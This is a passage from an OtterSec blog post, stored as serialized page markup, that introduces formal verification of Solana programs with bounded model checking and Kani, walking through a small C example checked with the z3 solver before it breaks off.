42,39654,39680,39840,39852,39860,39865,40141,40146,40158,40313,40333,40659,40693,40887,40920,40932,41054,41074,41079,41084,41089,41102,41110,41115,41590,41602,41607,41619,41624,41883,41909,41914,41920,41926,41938,41950,41969,42016,42021,42027,42032,42037,42042,42047,42052,42057,42060,42079],{"type":25,"tag":26,"props":31879,"children":31880},{},[31881],{"type":30,"value":31882},"Since the early days of computing, bugs have crept their way into programs and wreaked havoc on the intentions of the programmer. Logical fallacies, race conditions, or simple typos could manifest as crashes or lay undetected, silently breaking the functionality of the host program.",{"type":25,"tag":26,"props":31884,"children":31885},{},[31886],{"type":30,"value":31887},"When your program is connected to the internet, there is the new risk that bugs may introduce security holes into your system. Even simple buffer overflows can be exploited by skilled attackers to compromise the integrity of your program.",{"type":25,"tag":26,"props":31889,"children":31890},{},[31891,31893,31897,31899,31904,31906,31913],{"type":30,"value":31892},"In the world of Web3 we create programs that talk to strangers ",{"type":25,"tag":10281,"props":31894,"children":31895},{},[31896],{"type":30,"value":29494},{"type":30,"value":31898}," control millions of dollars 🤑. Bugs in these programs are some of the ",{"type":25,"tag":10281,"props":31900,"children":31901},{},[31902],{"type":30,"value":31903},"juciest",{"type":30,"value":31905},"; anonymous attackers that can find and exploit them will walk away with potentially ",{"type":25,"tag":83,"props":31907,"children":31910},{"href":31908,"rel":31909},"https://rekt.news/leaderboard/",[9066],[31911],{"type":30,"value":31912},"hundreds of millions of dollars",{"type":30,"value":1860},{"type":25,"tag":92,"props":31915,"children":31916},{},[],{"type":25,"tag":26,"props":31918,"children":31919},{},[31920,31922,31927],{"type":30,"value":31921},"At OtterSec we are ",{"type":25,"tag":10281,"props":31923,"children":31924},{},[31925],{"type":30,"value":31926},"highly skilled in pest control",{"type":30,"value":31928}," - finding and squashing bugs before they are exploited by less well-intentioned hackers. We are constantly striving to improve our techniques and develop new technologies that aid in our auditing processes.",{"type":25,"tag":26,"props":31930,"children":31931},{},[31932,31934,31941,31943,31950],{"type":30,"value":31933},"Recently we were contacted by the ",{"type":25,"tag":83,"props":31935,"children":31938},{"href":31936,"rel":31937},"https://squads.so/",[9066],[31939],{"type":30,"value":31940},"Squads team",{"type":30,"value":31942}," to explore how formal verification could be used to verify security-critical properties of Solana programs. We were really excited about this opportunity and have been developing a prototype with the ",{"type":25,"tag":83,"props":31944,"children":31947},{"href":31945,"rel":31946},"https://github.com/Squads-Protocol/squads-mpl",[9066],[31948],{"type":30,"value":31949},"Squads Multisig Program",{"type":30,"value":31951}," as our main case study.",{"type":25,"tag":26,"props":31953,"children":31954},{},[31955,31957,31964,31966,31973],{"type":30,"value":31956},"We now have a (mostly) working prototype that can be used to formally verify critical properties of Solana programs in order to ensure a higher level of security. Our tool integrates with ",{"type":25,"tag":83,"props":31958,"children":31961},{"href":31959,"rel":31960},"https://www.anchor-lang.com/",[9066],[31962],{"type":30,"value":31963},"anchor-lang",{"type":30,"value":31965}," and provides new APIs to specify invariants for your Solana code. It then autogenerates proof harnesses which are verified with the ",{"type":25,"tag":83,"props":31967,"children":31970},{"href":31968,"rel":31969},"https://github.com/model-checking/kani",[9066],[31971],{"type":30,"value":31972},"Kani Rust Verifier",{"type":30,"value":31974},". Additionally, we are implementing a formal-verification-friendly runtime SDK layer that accelerates the expensive process of running formal verification tools on complex code.",{"type":25,"tag":26,"props":31976,"children":31977},{},[31978,31980,31985],{"type":30,"value":31979},"In this blog post, we're excited to share our progress and the challenges we've encountered during the process. We will describe the main concepts behind ",{"type":25,"tag":10281,"props":31981,"children":31982},{},[31983],{"type":30,"value":31984},"bounded model checking",{"type":30,"value":31986}," (our formal verification method of choice) and explain how we've applied these concepts to Solana.",{"type":25,"tag":26,"props":31988,"children":31989},{},[31990],{"type":25,"tag":10281,"props":31991,"children":31992},{},[31993,31995,32002,32004],{"type":30,"value":31994},"If you're interested in learning more or getting your own programs formally verified, let us know! We'd be excited to chat with you! — Fill out ",{"type":25,"tag":83,"props":31996,"children":31999},{"href":31997,"rel":31998},"https://osec.io/contact",[9066],[32000],{"type":30,"value":32001},"this form",{"type":30,"value":32003}," or email us at ",{"type":25,"tag":83,"props":32005,"children":32007},{"href":32006},"mailto:contact@osec.io",[32008],{"type":30,"value":32009},"contact@osec.io",{"type":25,"tag":92,"props":32011,"children":32012},{},[],{"type":25,"tag":2352,"props":32014,"children":32016},{"id":32015},"contents",[32017],{"type":30,"value":32018},"Contents:",{"type":25,"tag":661,"props":32020,"children":32021},{},[32022,32027,32044,32054,32059,32064],{"type":25,"tag":112,"props":32023,"children":32024},{},[32025],{"type":30,"value":32026},"Formal Verification with Bounded Model Checking\na. Overview\nb. A simple example\nc. Loop bounds & path explosion\nd. The Kani Rust Verifier",{"type":25,"tag":112,"props":32028,"children":32029},{},[32030,32035,32037,32042],{"type":25,"tag":38,"props":32031,"children":32032},{},[32033],{"type":30,"value":32034},"Specification",{"type":30,"value":32036},": How can we describe what we ",{"type":25,"tag":10281,"props":32038,"children":32039},{},[32040],{"type":30,"value":32041},"want",{"type":30,"value":32043}," our program to do?",{"type":25,"tag":112,"props":32045,"children":32046},{},[32047,32052],{"type":25,"tag":38,"props":32048,"children":32049},{},[32050],{"type":30,"value":32051},"Verification",{"type":30,"value":32053},": How do we check that our model is correct?",{"type":25,"tag":112,"props":32055,"children":32056},{},[32057],{"type":30,"value":32058},"Case Study: Squads Multisig",{"type":25,"tag":112,"props":32060,"children":32061},{},[32062],{"type":30,"value":32063},"Additional challenges in Solana",{"type":25,"tag":112,"props":32065,"children":32066},{},[32067],{"type":30,"value":32068},"Conclusion",{"type":25,"tag":96,"props":32070,"children":32072},{"id":32071},"formal-verification-with-bounded-model-checking",[32073],{"type":30,"value":32074},"Formal Verification with Bounded Model Checking",{"type":25,"tag":247,"props":32076,"children":32078},{"id":32077},"overview",[32079],{"type":30,"value":32080},"Overview",{"type":25,"tag":26,"props":32082,"children":32083},{},[32084],{"type":30,"value":32085},"Formal verification is the process of using a formal specification to verify the correctness of a system. In this case, the systems we are verifying are programs written in Rust that run on the Solana blockchain.",{"type":25,"tag":26,"props":32087,"children":32088},{},[32089,32091,32096],{"type":30,"value":32090},"There are many different flavors of formal verification, however in this research we are using ",{"type":25,"tag":38,"props":32092,"children":32093},{},[32094],{"type":30,"value":32095},"bounded model checking (BMC)",{"type":30,"value":1860},{"type":25,"tag":26,"props":32098,"children":32099},{},[32100,32102,32107,32109,32114,32116,32120,32122,32128,32130,32136],{"type":30,"value":32101},"In short, the idea of BMC is to execute our program ",{"type":25,"tag":10281,"props":32103,"children":32104},{},[32105],{"type":30,"value":32106},"symbolically",{"type":30,"value":32108}," rather than ",{"type":25,"tag":10281,"props":32110,"children":32111},{},[32112],{"type":30,"value":32113},"concretely",{"type":30,"value":32115},". Instead of actually performing an ",{"type":25,"tag":10281,"props":32117,"children":32118},{},[32119],{"type":30,"value":22761},{"type":30,"value":32121}," when we see the line ",{"type":25,"tag":264,"props":32123,"children":32125},{"className":32124},[],[32126],{"type":30,"value":32127},"int x = a + b",{"type":30,"value":32129},", we store the symbolic expression ",{"type":25,"tag":264,"props":32131,"children":32133},{"className":32132},[],[32134],{"type":30,"value":32135},"x == a + b",{"type":30,"value":32137},". We do this for every line and once we reach the end of the program we have compiled a huge list of symbolic expressions. At this point, we can feed these expressions to a SMT solver along with a correctness property P in order to check if our program satisfies this property.",{"type":25,"tag":26,"props":32139,"children":32140},{},[32141],{"type":30,"value":32142},"If we hit a branch as we are tracing the program, we will take both sides of the branch adding the positive branch condition as a constraint to one side and the negative condition to the other side.",{"type":25,"tag":247,"props":32144,"children":32146},{"id":32145},"a-simple-example",[32147],{"type":30,"value":32148},"A simple example",{"type":25,"tag":26,"props":32150,"children":32151},{},[32152],{"type":30,"value":32153},"As an example, consider the following function:",{"type":25,"tag":7764,"props":32155,"children":32157},{"code":32156,"language":13243,"meta":7,"className":29637,"style":7},"int foo(int x) {\n    int y = x + 3;\n    int z;\n    if (y > 100) {\n        z = y * 2;\n    } else {\n        z = y + 1;\n    }\n\n    // Property P:\n    assert(z != 105);\n}\n",[32158],{"type":25,"tag":264,"props":32159,"children":32160},{"__ignoreMap":7},[32161,32191,32225,32237,32262,32290,32305,32332,32339,32346,32354,32380],{"type":25,"tag":271,"props":32162,"children":32163},{"class":13593,"line":13594},[32164,32169,32174,32178,32182,32187],{"type":25,"tag":271,"props":32165,"children":32166},{"style":14289},[32167],{"type":30,"value":32168},"int",{"type":25,"tag":271,"props":32170,"children":32171},{"style":13620},[32172],{"type":30,"value":32173}," foo",{"type":25,"tag":271,"props":32175,"children":32176},{"style":13625},[32177],{"type":30,"value":394},{"type":25,"tag":271,"props":32179,"children":32180},{"style":14289},[32181],{"type":30,"value":32168},{"type":25,"tag":271,"props":32183,"children":32184},{"style":13598},[32185],{"type":30,"value":32186}," x",{"type":25,"tag":271,"props":32188,"children":32189},{"style":13625},[32190],{"type":30,"value":27925},{"type":25,"tag":271,"props":32192,"children":32193},{"class":13593,"line":11641},[32194,32199,32203,32207,32212,32216,32221],{"type":25,"tag":271,"props":32195,"children":32196},{"style":14289},[32197],{"type":30,"value":32198},"    int",{"type":25,"tag":271,"props":32200,"children":32201},{"style":13625},[32202],{"type":30,"value":17645},{"type":25,"tag":271,"props":32204,"children":32205},{"style":13603},[32206],{"type":30,"value":1065},{"type":25,"tag":271,"props":32208,"children":32209},{"style":13625},[32210],{"type":30,"value":32211}," x ",{"type":25,"tag":271,"props":32213,"children":32214},{"style":13603},[32215],{"type":30,"value":2074},{"type":25,"tag":271,"props":32217,"children":32218},{"style":16187},[32219],{"type":30,"value":32220}," 3",{"type":25,"tag":271,"props":32222,"children":32223},{"style":13625},[32224],{"type":30,"value":16165},{"type":25,"tag":271,"props":32226,"children":32227},{"class":13593,"line":14354},[32228,32232],{"type":25,"tag":271,"props":32229,"children":32230},{"style":14289},[32231],{"type":30,"value":32198},{"type":25,"tag":271,"props":32233,"children":32234},{"style":13625},[32235],{"type":30,"value":32236}," z;\n",{"type":25,"tag":271,"props":32238,"children":32239},{"class":13593,"line":14391},[32240,32244,32249,32253,32258],{"type":25,"tag":271,"props":32241,"children":32242},{"style":16171},[32243],{"type":30,"value":25404},{"type":25,"tag":271,"props":32245,"children":32246},{"style":13625},[32247],{"type":30,"value":32248}," (y ",{"type":25,"tag":271,"props":32250,"children":32251},{"style":13603},[32252],{"type":30,"value":23586},{"type":25,"tag":271,"props":32254,"children":32255},{"style":16187},[32256],{"type":30,"value":32257}," 100",{"type":25,"tag":271,"props":32259,"children":32260},{"style":13625},[32261],{"type":30,"value":27925},{"type":25,"tag":271,"props":32263,"children":32264},{"class":13593,"line":14400},[32265,32270,32274,32278,32282,32286],{"type":25,"tag":271,"props":32266,"children":32267},{"style":13625},[32268],{"type":30,"value":32269},"        z ",{"type":25,"tag":271,"props":32271,"children":32272},{"style":13603},[32273],{"type":30,"value":1065},{"type":25,"tag":271,"props":32275,"children":32276},{"style":13625},[32277],{"type":30,"value":17645},{"type":25,"tag":271,"props":32279,"children":32280},{"style":13603},[32281],{"type":30,"value":17702},{"type":25,"tag":271,"props":32283,"children":32284},{"style":16187},[32285],{"type":30,"value":21056},{"type":25,"tag":271,"props":32287,"children":32288},{"style":13625},[32289],{"type":30,"value":16165},{"type":25,"tag":271,"props":32291,"children":32292},{"class":13593,"line":16406},[32293,32297,32301],{"type":25,"tag":271,"props":32294,"children":32295},{"style":13625},[32296],{"type":30,"value":28901},{"type":25,"tag":271,"props":32298,"children":32299},{"style":16171},[32300],{"type":30,"value":16458},{"type":25,"tag":271,"props":32302,"children":32303},{"style":13625},[32304],{"type":30,"value":16431},{"type":25,"tag":271,"props":32306,"children":32307},{"class":13593,"line":16434},[32308,32312,32316,32320,32324,32328],{"type":25,"tag":271,"props":32309,"children":32310},{"style":13625},[32311],{"type":30,"value":32269},{"type":25,"tag":271,"props":32313,"children":32314},{"style":13603},[32315],{"type":30,"value":1065},{"type":25,"tag":271,"props":32317,"children":32318},{"style":13625},[32319],{"type":30,"value":17645},{"type":25,"tag":271,"props":32321,"children":32322},{"style":13603},[32323],{"type":30,"value":2074},{"type":25,"tag":271,"props":32325,"children":32326},{"style":16187},[32327],{"type":30,"value":17654},{"type":25,"tag":271,"props":32329,"children":32330},{"style":13625},[32331],{"type":30,"value":16165},{"type":25,"tag":271,"props":32333,"children":32334},{"class":13593,"line":16447},[32335],{"type":25,"tag":271,"props":32336,"children":32337},{"style":13625},[32338],{"type":30,"value":16501},{"type":25,"tag":271,"props":32340,"children":32341},{"class":13593,"line":16465},[32342],{"type":25,"tag":271,"props":32343,"children":32344},{"emptyLinePlaceholder":18},[32345],{"type":30,"value":16829},{"type":25,"tag":271,"props":32347,"children":32348},{"class":13593,"line":16486},[32349],{"type":25,"tag":271,"props":32350,"children":32351},{"style":14385},[32352],{"type":30,"value":32353},"    // Property P:\n",{"type":25,"tag":271,"props":32355,"children":32356},{"class":13593,"line":16495},[32357,32362,32367,32371,32376],{"type":25,"tag":271,"props":32358,"children":32359},{"style":13620},[32360],{"type":30,"value":32361},"    assert",{"type":25,"tag":271,"props":32363,"children":32364},{"style":13625},[32365],{"type":30,"value":32366},"(z ",{"type":25,"tag":271,"props":32368,"children":32369},{"style":13603},[32370],{"type":30,"value":28810},{"type":25,"tag":271,"props":32372,"children":32373},{"style":16187},[32374],{"type":30,"value":32375}," 105",{"type":25,"tag":271,"props":32377,"children":32378},{"style":13625},[32379],{"type":30,"value":13665},{"type":25,"tag":271,"props":32381,"children":32382},{"class":13593,"line":16744},[32383],{"type":25,"tag":271,"props":32384,"children":32385},{"style":13625},[32386],{"type":30,"value":17058},{"type":25,"tag":26,"props":32388,"children":32389},{},[32390,32392,32397,32399,32405],{"type":30,"value":32391},"This function takes an input ",{"type":25,"tag":264,"props":32393,"children":32395},{"className":32394},[],[32396],{"type":30,"value":1136},{"type":30,"value":32398}," and does some computation. At the end of the program, the property we want to verify is that ",{"type":25,"tag":264,"props":32400,"children":32402},{"className":32401},[],[32403],{"type":30,"value":32404},"z != 105",{"type":30,"value":1860},{"type":25,"tag":26,"props":32407,"children":32408},{},[32409],{"type":30,"value":32410},"With BMC, we could trace this program and derive the following constraints:",{"type":25,"tag":26,"props":32412,"children":32413},{},[32414],{"type":30,"value":32415},"Positive branch:",{"type":25,"tag":7764,"props":32417,"children":32419},{"code":32418,"language":13243,"meta":7,"className":29637,"style":7},"y == x + 3\ny > 100\nz == y * 2\n",[32420],{"type":25,"tag":264,"props":32421,"children":32422},{"__ignoreMap":7},[32423,32448,32464],{"type":25,"tag":271,"props":32424,"children":32425},{"class":13593,"line":13594},[32426,32431,32435,32439,32443],{"type":25,"tag":271,"props":32427,"children":32428},{"style":13625},[32429],{"type":30,"value":32430},"y ",{"type":25,"tag":271,"props":32432,"children":32433},{"style":13603},[32434],{"type":30,"value":21696},{"type":25,"tag":271,"props":32436,"children":32437},{"style":13625},[32438],{"type":30,"value":32211},{"type":25,"tag":271,"props":32440,"children":32441},{"style":13603},[32442],{"type":30,"value":2074},{"type":25,"tag":271,"props":32444,"children":32445},{"style":16187},[32446],{"type":30,"value":32447}," 3\n",{"type":25,"tag":271,"props":32449,"children":32450},{"class":13593,"line":11641},[32451,32455,32459],{"type":25,"tag":271,"props":32452,"children":32453},{"style":13625},[32454],{"type":30,"value":32430},{"type":25,"tag":271,"props":32456,"children":32457},{"style":13603},[32458],{"type":30,"value":23586},{"type":25,"tag":271,"props":32460,"children":32461},{"style":16187},[32462],{"type":30,"value":32463}," 100\n",{"type":25,"tag":271,"props":32465,"children":32466},{"class":13593,"line":14354},[32467,32472,32476,32480,32484],{"type":25,"tag":271,"props":32468,"children":32469},{"style":13625},[32470],{"type":30,"value":32471},"z ",{"type":25,"tag":271,"props":32473,"children":32474},{"style":13603},[32475],{"type":30,"value":21696},{"type":25,"tag":271,"props":32477,"children":32478},{"style":13625},[32479],{"type":30,"value":17645},{"type":25,"tag":271,"props":32481,"children":32482},{"style":13603},[32483],{"type":30,"value":17702},{"type":25,"tag":271,"props":32485,"children":32486},{"style":16187},[32487],{"type":30,"value":32488}," 2\n",{"type":25,"tag":26,"props":32490,"children":32491},{},[32492],{"type":30,"value":32493},"Negative branch:",{"type":25,"tag":7764,"props":32495,"children":32497},{"code":32496,"language":13243,"meta":7,"className":29637,"style":7},"y == x + 3\ny \u003C= 100\nz == y + 1\n",[32498],{"type":25,"tag":264,"props":32499,"children":32500},{"__ignoreMap":7},[32501,32524,32540],{"type":25,"tag":271,"props":32502,"children":32503},{"class":13593,"line":13594},[32504,32508,32512,32516,32520],{"type":25,"tag":271,"props":32505,"children":32506},{"style":13625},[32507],{"type":30,"value":32430},{"type":25,"tag":271,"props":32509,"children":32510},{"style":13603},[32511],{"type":30,"value":21696},{"type":25,"tag":271,"props":32513,"children":32514},{"style":13625},[32515],{"type":30,"value":32211},{"type":25,"tag":271,"props":32517,"children":32518},{"style":13603},[32519],{"type":30,"value":2074},{"type":25,"tag":271,"props":32521,"children":32522},{"style":16187},[32523],{"type":30,"value":32447},{"type":25,"tag":271,"props":32525,"children":32526},{"class":13593,"line":11641},[32527,32531,32536],{"type":25,"tag":271,"props":32528,"children":32529},{"style":13625},[32530],{"type":30,"value":32430},{"type":25,"tag":271,"props":32532,"children":32533},{"style":13603},[32534],{"type":30,"value":32535},"\u003C=",{"type":25,"tag":271,"props":32537,"children":32538},{"style":16187},[32539],{"type":30,"value":32463},{"type":25,"tag":271,"props":32541,"children":32542},{"class":13593,"line":14354},[32543,32547,32551,32555,32559],{"type":25,"tag":271,"props":32544,"children":32545},{"style":13625},[32546],{"type":30,"value":32471},{"type":25,"tag":271,"props":32548,"children":32549},{"style":13603},[32550],{"type":30,"value":21696},{"type":25,"tag":271,"props":32552,"children":32553},{"style":13625},[32554],{"type":30,"value":17645},{"type":25,"tag":271,"props":32556,"children":32557},{"style":13603},[32558],{"type":30,"value":2074},{"type":25,"tag":271,"props":32560,"children":32561},{"style":16187},[32562],{"type":30,"value":32563}," 1\n",{"type":25,"tag":26,"props":32565,"children":32566},{},[32567,32569,32576],{"type":30,"value":32568},"Using the ",{"type":25,"tag":83,"props":32570,"children":32573},{"href":32571,"rel":32572},"https://github.com/Z3Prover/z3",[9066],[32574],{"type":30,"value":32575},"z3",{"type":30,"value":32577}," SMT solver, we could check both of these cases like so:",{"type":25,"tag":7764,"props":32579,"children":32583},{"code":32580,"language":32581,"meta":7,"className":32582,"style":7},"from z3 import *\n\nx = Int('x')\ny = Int('y')\nz = Int('z')\n\n# Positive branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y > 100)\ns.add(z == y * 2)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n\n# Negative branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y \u003C= 100)\ns.add(z == y + 1)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n","python","language-python shiki shiki-themes slack-dark",[32584],{"type":25,"tag":264,"props":32585,"children":32586},{"__ignoreMap":7},[32587,32610,32617,32643,32667,32691,32698,32706,32723,32751,32770,32798,32805,32813,32834,32852,32859,32867,32882,32909,32928,32955,32962,32969,32988],{"type":25,"tag":271,"props":32588,"children":32589},{"class":13593,"line":13594},[32590,32595,32600,32605],{"type":25,"tag":271,"props":32591,"children":32592},{"style":16171},[32593],{"type":30,"value":32594},"from",{"type":25,"tag":271,"props":32596,"children":32597},{"style":13625},[32598],{"type":30,"value":32599}," z3 ",{"type":25,"tag":271,"props":32601,"children":32602},{"style":16171},[32603],{"type":30,"value":32604},"import",{"type":25,"tag":271,"props":32606,"children":32607},{"style":13603},[32608],{"type":30,"value":32609}," *\n",{"type":25,"tag":271,"props":32611,"children":32612},{"class":13593,"line":11641},[32613],{"type":25,"tag":271,"props":32614,"children":32615},{"emptyLinePlaceholder":18},[32616],{"type":30,"value":16829},{"type":25,"tag":271,"props":32618,"children":32619},{"class":13593,"line":14354},[32620,32625,32629,32634,32639],{"type":25,"tag":271,"props":32621,"children":32622},{"style":13625},[32623],{"type":30,"value":32624},"x ",{"type":25,"tag":271,"props":32626,"children":32627},{"style":13603},[32628],{"type":30,"value":1065},{"type":25,"tag":271,"props":32630,"children":32631},{"style":13625},[32632],{"type":30,"value":32633}," Int(",{"type":25,"tag":271,"props":32635,"children":32636},{"style":17388},[32637],{"type":30,"value":32638},"'x'",{"type":25,"tag":271,"props":32640,"children":32641},{"style":13625},[32642],{"type":30,"value":16299},{"type":25,"tag":271,"props":32644,"children":32645},{"class":13593,"line":14391},[32646,32650,32654,32658,32663],{"type":25,"tag":271,"props":32647,"children":32648},{"style":13625},[32649],{"type":30,"value":32430},{"type":25,"tag":271,"props":32651,"children":32652},{"style":13603},[32653],{"type":30,"value":1065},{"type":25,"tag":271,"props":32655,"children":32656},{"style":13625},[32657],{"type":30,"value":32633},{"type":25,"tag":271,"props":32659,"children":32660},{"style":17388},[32661],{"type":30,"value":32662},"'y'",{"type":25,"tag":271,"props":32664,"children":32665},{"style":13625},[32666],{"type":30,"value":16299},{"type":25,"tag":271,"props":32668,"children":32669},{"class":13593,"line":14400},[32670,32674,32678,32682,32687],{"type":25,"tag":271,"props":32671,"children":32672},{"style":13625},[32673],{"type":30,"value":32471},{"type":25,"tag":271,"props":32675,"children":32676},{"style":13603},[32677],{"type":30,"value":1065},{"type":25,"tag":271,"props":32679,"children":32680},{"style":13625},[32681],{"type":30,"value":32633},{"type":25,"tag":271,"props":32683,"children":32684},{"style":17388},[32685],{"type":30,"value":32686},"'z'",{"type":25,"tag":271,"props":32688,"children":32689},{"style":13625},[32690],{"type":30,"value":16299},{"type":25,"tag":271,"props":32692,"children":32693},{"class":13593,"line":16406},[32694],{"type":25,"tag":271,"props":32695,"children":32696},{"emptyLinePlaceholder":18},[32697],{"type":30,"value":16829},{"type":25,"tag":271,"props":32699,"children":32700},{"class":13593,"line":16434},[32701],{"type":25,"tag":271,"props":32702,"children":32703},{"style":14385},[32704],{"type":30,"value":32705},"# Positive branch:\n",{"type":25,"tag":271,"props":32707,"children":32708},{"class":13593,"line":16447},[32709,32714,32718],{"type":25,"tag":271,"props":32710,"children":32711},{"style":13625},[32712],{"type":30,"value":32713},"s ",{"type":25,"tag":271,"props":32715,"children":32716},{"style":13603},[32717],{"type":30,"value":1065},{"type":25,"tag":271,"props":32719,"children":32720},{"style":13625},[32721],{"type":30,"value":32722}," Solver()\n",{"type":25,"tag":271,"props":32724,"children":32725},{"class":13593,"line":16465},[32726,32731,32735,32739,32743,32747],{"type":25,"tag":271,"props":32727,"children":32728},{"style":13625},[32729],{"type":30,"value":32730},"s.add(y ",{"type":25,"tag":271,"props":32732,"children":32733},{"style":13603},[32734],{"type":30,"value":21696},{"type":25,"tag":271,"props":32736,"children":32737},{"style":13625},[32738],{"type":30,"value":32211},{"type":25,"tag":271,"props":32740,"children":32741},{"style":13603},[32742],{"type":30,"value":2074},{"type":25,"tag":271,"props":32744,"children":32745},{"style":16187},[32746],{"type":30,"value":32220},{"type":25,"tag":271,"props":32748,"children":32749},{"style":13625},[32750],{"type":30,"value":16299},{"type":25,"tag":271,"props":32752,"children":32753},{"class":13593,"line":16486},[32754,32758,32762,32766],{"type":25,"tag":271,"props":32755,"children":32756},{"style":13625},[32757],{"type":30,"value":32730},{"type":25,"tag":271,"props":32759,"children":32760},{"style":13603},[32761],{"type":30,"value":23586},{"type":25,"tag":271,"props":32763,"children":32764},{"style":16187},[32765],{"type":30,"value":32257},{"type":25,"tag":271,"props":32767,"children":32768},{"style":13625},[32769],{"type":30,"value":16299},{"type":25,"tag":271,"props":32771,"children":32772},{"class":13593,"line":16495},[32773,32778,32782,32786,32790,32794],{"type":25,"tag":271,"props":32774,"children":32775},{"style":13625},[32776],{"type":30,"value":32777},"s.add(z ",{"type":25,"tag":271,"props":32779,"children":32780},{"style":13603},[32781],{"type":30,"value":21696},{"type":25,"tag":271,"props":32783,"children":32784},{"style":13625},[32785],{"type":30,"value":17645},{"type":25,"tag":271,"props":32787,"children":32788},{"style":13603},[32789],{"type":30,"value":17702},{"type":25,"tag":271,"props":32791,"children":32792},{"style":16187},[32793],{"type":30,"value":21056},{"type":25,"tag":271,"props":32795,"children":32796},{"style":13625},[32797],{"type":30,"value":16299},{"type":25,"tag":271,"props":32799,"children":32800},{"class":13593,"line":16744},[32801],{"type":25,"tag":271,"props":32802,"children":32803},{"emptyLinePlaceholder":18},[32804],{"type":30,"value":16829},{"type":25,"tag":271,"props":32806,"children":32807},{"class":13593,"line":16761},[32808],{"type":25,"tag":271,"props":32809,"children":32810},{"style":14385},[32811],{"type":30,"value":32812},"# check if we can violate the correctness property\n",{"type":25,"tag":271,"props":32814,"children":32815},{"class":13593,"line":16778},[32816,32821,32825,32829],{"type":25,"tag":271,"props":32817,"children":32818},{"style":13625},[32819],{"type":30,"value":32820},"s.add(Not(z ",{"type":25,"tag":271,"props":32822,"children":32823},{"style":13603},[32824],{"type":30,"value":28810},{"type":25,"tag":271,"props":32826,"children":32827},{"style":16187},[32828],{"type":30,"value":32375},{"type":25,"tag":271,"props":32830,"children":32831},{"style":13625},[32832],{"type":30,"value":32833},"))\n",{"type":25,"tag":271,"props":32835,"children":32836},{"class":13593,"line":16791},[32837,32842,32847],{"type":25,"tag":271,"props":32838,"children":32839},{"style":13620},[32840],{"type":30,"value":32841},"print",{"type":25,"tag":271,"props":32843,"children":32844},{"style":13625},[32845],{"type":30,"value":32846},"(s.check()) ",{"type":25,"tag":271,"props":32848,"children":32849},{"style":14385},[32850],{"type":30,"value":32851},"# \"unsat\"\n",{"type":25,"tag":271,"props":32853,"children":32854},{"class":13593,"line":16800},[32855],{"type":25,"tag":271,"props":32856,"children":32857},{"emptyLinePlaceholder":18},[32858],{"type":30,"value":16829},{"type":25,"tag":271,"props":32860,"children":32861},{"class":13593,"line":16823},[32862],{"type":25,"tag":271,"props":32863,"children":32864},{"style":14385},[32865],{"type":30,"value":32866},"# Negative branch:\n",{"type":25,"tag":271,"props":32868,"children":32869},{"class":13593,"line":16832},[32870,32874,32878],{"type":25,"tag":271,"props":32871,"children":32872},{"style":13625},[32873],{"type":30,"value":32713},{"type":25,"tag":271,"props":32875,"children":32876},{"style":13603},[32877],{"type":30,"value":1065},{"type":25,"tag":271,"props":32879,"children":32880},{"style":13625},[32881],{"type":30,"value":32722},{"type":25,"tag":271,"props":32883,"children":32884},{"class":13593,"line":16841},[32885,32889,32893,32897,32901,32905],{"type":25,"tag":271,"props":32886,"children":32887},{"style":13625},[32888],{"type":30,"value":32730},{"type":25,"tag":271,"props":32890,"children":32891},{"style":13603},[32892],{"type":30,"value":21696},{"type":25,"tag":271,"props":32894,"children":32895},{"style":13625},[32896],{"type":30,"value":32211},{"type":25,"tag":271,"props":32898,"children":32899},{"style":13603},[32900],{"type":30,"value":2074},{"type":25,"tag":271,"props":32902,"children":32903},{"style":16187},[32904],{"type":30,"value":32220},{"type":25,"tag":271,"props":32906,"children":32907},{"style":13625},[32908],{"type":30,"value":16299},{"type":25,"tag":271,"props":32910,"children":32911},{"class":13593,"line":16907},[32912,32916,32920,32924],{"type":25,"tag":271,"props":32913,"children":32914},{"style":13625},[32915],{"type":30,"value":32730},{"type":25,"tag":271,"props":32917,"children":32918},{"style":13603},[32919],{"type":30,"value":32535},{"type":25,"tag":271,"props":32921,"children":32922},{"style":16187},[32923],{"type":30,"value":32257},{"type":25,"tag":271,"props":32925,"children":32926},{"style":13625},[32927],{"type":30,"value":16299},{"type":25,"tag":271,"props":32929,"children":32930},{"class":13593,"line":16915},[32931,32935,32939,32943,32947,32951],{"type":25,"tag":271,"props":32932,"children":32933},{"style":13625},[32934],{"type":30,"value":32777},{"type":25,"tag":271,"props":32936,"children":32937},{"style":13603},[32938],{"type":30,"value":21696},{"type":25,"tag":271,"props":32940,"children":32941},{"style":13625},[32942],{"type":30,"value":17645},{"type":25,"tag":271,"props":32944,"children":32945},{"style":13603},[32946],{"type":30,"value":2074},{"type":25,"tag":271,"props":32948,"children":32949},{"style":16187},[32950],{"type":30,"value":17654},{"type":25,"tag":271,"props":32952,"children":32953},{"style":13625},[32954],{"type":30,"value":16299},{"type":25,"tag":271,"props":32956,"children":32957},{"class":13593,"line":16945},[32958],{"type":25,"tag":271,"props":32959,"children":32960},{"emptyLinePlaceholder":18},[32961],{"type":30,"value":16829},{"type":25,"tag":271,"props":32963,"children":32964},{"class":13593,"line":16953},[32965],{"type":25,"tag":271,"props":32966,"children":32967},{"style":14385},[32968],{"type":30,"value":32812},{"type":25,"tag":271,"props":32970,"children":32971},{"class":13593,"line":16984},[32972,32976,32980,32984],{"type":25,"tag":271,"props":32973,"children":32974},{"style":13625},[32975],{"type":30,"value":32820},{"type":25,"tag":271,"props":32977,"children":32978},{"style":13603},[32979],{"type":30,"value":28810},{"type":25,"tag":271,"props":32981,"children":32982},{"style":16187},[32983],{"type":30,"value":32375},{"type":25,"tag":271,"props":32985,"children":32986},{"style":13625},[32987],{"type":30,"value":32833},{"type":25,"tag":271,"props":32989,"children":32990},{"class":13593,"line":16992},[32991,32995,32999],{"type":25,"tag":271,"props":32992,"children":32993},{"style":13620},[32994],{"type":30,"value":32841},{"type":25,"tag":271,"props":32996,"children":32997},{"style":13625},[32998],{"type":30,"value":32846},{"type":25,"tag":271,"props":33000,"children":33001},{"style":14385},[33002],{"type":30,"value":32851},{"type":25,"tag":26,"props":33004,"children":33005},{},[33006,33008,33014,33016,33021],{"type":30,"value":33007},"Both of these cases return ",{"type":25,"tag":264,"props":33009,"children":33011},{"className":33010},[],[33012],{"type":30,"value":33013},"unsat",{"type":30,"value":33015}," meaning z3 could not find a way to violate the correctness property, hence our program is 